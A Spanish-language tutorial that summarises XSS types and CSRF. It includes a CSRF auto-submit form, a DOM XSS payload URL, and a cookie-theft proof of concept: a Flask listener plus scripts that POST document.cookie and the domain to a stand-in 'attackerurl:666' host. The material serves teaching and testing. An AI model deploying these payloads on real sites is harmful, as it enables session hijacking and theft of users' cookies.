XSS
Acerca de este artículo y descarga de responsabilidad
Este artículo solo es un resumen breve sobre XSS, no pretende extenderse explicando XSS en profundidad y por supuesto no me hago en absoluto responsable del mal uso que pueda hacerse de esta información.
XSS
Cross-site scripting es una técnica de ataque que permite a un atacante ejecutar código JavaScript malicioso en el navegador de un usuario. Se produce cuando una aplicación web maneja de forma insegura datos controlados por el usuario. Existen varios tipos de XSS, como reflejado, almacenado y basado en DOM.
Links extra
- https://owasp.org/www-community/attacks/xss/
- https://portswigger.net/web-security/cross-site-scripting#what-is-cross-site-scripting-xss
Tipos de XSS
Reflejados
Cuando hablamos del tipo reflejado significa que es un script que se ejecuta como una acción en el servidor y el resultado se ve relflejado en la página web.
Self-Reflected
Cuando solo puede afectar al cliente actual, normalmente no se considera una vulnerabilidad, sino un pequeño fallo de la aplicación. Es el cliente quien ejecuta la acción de introducir el payload XSS y el servidor devulve la web ejecutado el Javascript
Almacenados
Son igual que los reflejados pero hay una diferencia fundamental, estos quedan almacenados en la aplicación. Con lo que cualquier usuario del sitio podría estar permitiendo las acciones ya mencionadas en los reflejados. Esto los convierte en incluso más peligrosos puesto que puede afectar a cualquier usuario logueado en la aplicación.
Tanto para los reflejados como para los almacenados tenemos un error de backend
CSRF
Fuerza acciones usando la sesión de la víctima
Características:
El atacante no ejecuta JavaScript en la víctima. Aprovecha que el navegador envía automáticamente cookies de sesión. Se fuerza una acción en la web.
Ejemplo:
1
2
3
4
<form action="https://site.com/change-email" method="POST">
<input name="email" value="attacker@mail.com">
</form>
<script>document.forms[0].submit()</script>
Resultado: Si la víctima está logueada, la petición se envía con su sesión.
Dom-based XSS
Se ejecuta Javascript en el cliente de la víctima. El servidor no participa todo ocurre del lado del cliente manipulando el DOM(Document Object Model)
Características:
El payload entra por la URL u otra fuente del cliente (location, hash, document.referrer, etc.). JavaScript lo inserta en el DOM sin sanitizar. Se ejecuta código JavaScript en el navegador de la víctima.
Ejemplo:
1
2
var data = location.hash;
document.body.innerHTML = data;
URL:
1
https://site.com/#<img src=x onerror=alert(1)>
Resultado: se ejecuta el alert.
Peligros del XSS
- Realizar cualquier acción dentro de la aplicación que el usuario pueda realizar.
- Ver cualquier información que el usuario pueda ver.
- Modificar cualquier información que el usuario pueda modificar.
- Iniciar interacciones con otros usuarios de la aplicación, incluyendo ataques maliciosos, que aparentemente provengan del usuario víctima inicial.
Robo de cookies.
Robar las cookies de un usuario hace que podamos usar la web de la que hayamos tomado esa cookie como si fueramos dicho usuario. No necesitamos loguearnos, simplemente estamos suplantando la sesión. Por eso algunos sitios implementan distintas medidas para evitar esto.
PoC
Servidor con Python Flask. Lado atacante
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask, request
from flask_cors import CORS
import datetime
app = Flask(__name__)
CORS(app)
@app.route("/", methods=["POST"])
def receive():
recive_date = datetime.datetime.now()
formated_date = recive_date.strftime("%Y-%m-%d %H:%M:%S")
print(f"[+] {formated_date}: {request.data.decode()}")
return("ok")
app.run(host="0.0.0.0", port=666)
1
2
3
4
fichero requirements.txt
flask
flask_cors
Pagina test. Lado “víctima”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<html>
<head>
<title>Cookie Stealer Test</title>
</head>
<body>
<h3> Only for educational purposes</h3>
<script>
document.cookie = "username=LordHumano; path=/; max-age=86400";
document.write("cookie => " + document.cookie);
</script>
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://attackerurl:666", true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({
value: document.cookie
}));
</script>
</body>
</html>
Puedes usar esta página para probar de forma local. Siempre debes hacer esto en un entorno controlado.
Script src
Los ataques de XSS pueden tener origen desde scripts alojados en servidores ajenos a la página usando <script src=..../malicioso.js> y distintas variantes o etiquetas <img src=>etc. Exiten herramientas dedicadas a injectar el código javascript como pueden ser BeefFramework
Script externo ejemplo
1
2
3
4
5
6
7
8
var xhr = new XMLHttpRequest();
var actualdomain = window.location.hostname;
xhr.open("POST", "http://attackerurl:666", true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.send(JSON.stringify({
domain: actualdomain,
cookie: document.cookie
}));
Este PoC, es un ejemplo muy sencillo en comparación con ataques más elaborados. He visto que expertos en esta técnica que son capaces de emular el formulario de login de una web y hacerse con las credenciales de cada uno de los usuarios que intentaban hacer login en dicha página.